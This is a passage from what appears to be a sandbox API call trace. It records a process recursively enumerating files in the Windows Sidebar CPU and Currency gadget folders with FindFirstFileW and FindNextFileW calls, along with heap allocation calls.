ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0261.199] GetProcessHeap () returned 0x550000 [0261.199] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0261.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.199] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.199] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.html", cAlternateFileName="")) returned 1 [0261.199] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0261.199] GetProcessHeap () returned 0x550000 [0261.199] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0261.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.200] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.200] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 1 [0261.200] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 0 [0261.200] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.200] GetProcessHeap () returned 0x550000 [0261.200] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.200] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0261.200] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0261.200] GetProcessHeap () returned 0x550000 [0261.200] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0261.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.201] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.201] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 1 [0261.201] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 0 [0261.201] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.201] GetProcessHeap () returned 0x550000 [0261.201] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.201] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0261.201] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.201] GetProcessHeap () returned 0x550000 [0261.201] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0261.201] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c4b8bc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb7c4b8bc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x23e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0261.201] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0261.202] GetProcessHeap () returned 0x550000 [0261.202] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0261.202] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.215] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.215] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb950e673, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb950e673, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="back.png", cAlternateFileName="")) returned 1 [0261.215] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94e8514, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94e8514, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6651, dwReserved0=0x0, dwReserved1=0x0, cFileName="back_lrg.png", cAlternateFileName="")) returned 1 [0261.215] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7cbdcdc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb7cbdcdc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb7cbdcdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial.png", cAlternateFileName="")) returned 1 [0261.215] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94e8514, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94e8514, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94d7b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc91, dwReserved0=0x0, dwReserved1=0x0, cFileName="dialdot.png", cAlternateFileName="")) returned 1 [0261.222] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb950e673, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb950e673, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94d7b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="dialdot_lrg.png", cAlternateFileName="")) returned 1 [0261.222] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb949c256, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb949c256, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7e3aa9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_lrg.png", cAlternateFileName="")) returned 1 [0261.222] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb949c256, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb949c256, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94b1a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc03, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_lrg_sml.png", cAlternateFileName="")) returned 1 [0261.222] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94760f7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94760f7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94b1a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_sml.png", cAlternateFileName="")) returned 1 [0261.222] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb95347d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb95347d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb9b3d6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.png", cAlternateFileName="")) returned 1 [0261.222] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb95347d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb95347d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb9b6381c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass_lrg.png", cAlternateFileName="")) returned 1 [0261.222] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb95347d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb95347d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb9b6381c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass_lrg.png", cAlternateFileName="")) returned 0 [0261.223] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.224] GetProcessHeap () returned 0x550000 [0261.224] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0261.224] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ad66a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4ad66a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xba58159c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0261.224] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ad66a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4ad66a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xba58159c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0261.224] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0261.224] GetProcessHeap () returned 0x550000 [0261.224] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0261.224] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="CURREN~1.GAD")) returned 1 [0261.224] GetProcessHeap () returned 0x550000 [0261.224] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0261.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0261.225] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.225] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbcdf03, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbcdf03, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6510fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0261.225] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0261.225] GetProcessHeap () returned 0x550000 [0261.225] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0261.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.225] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.226] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0261.226] GetProcessHeap () returned 0x550000 [0261.226] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0261.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.226] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.226] FindNextFileW (in: hFindFile=0x6397c8, 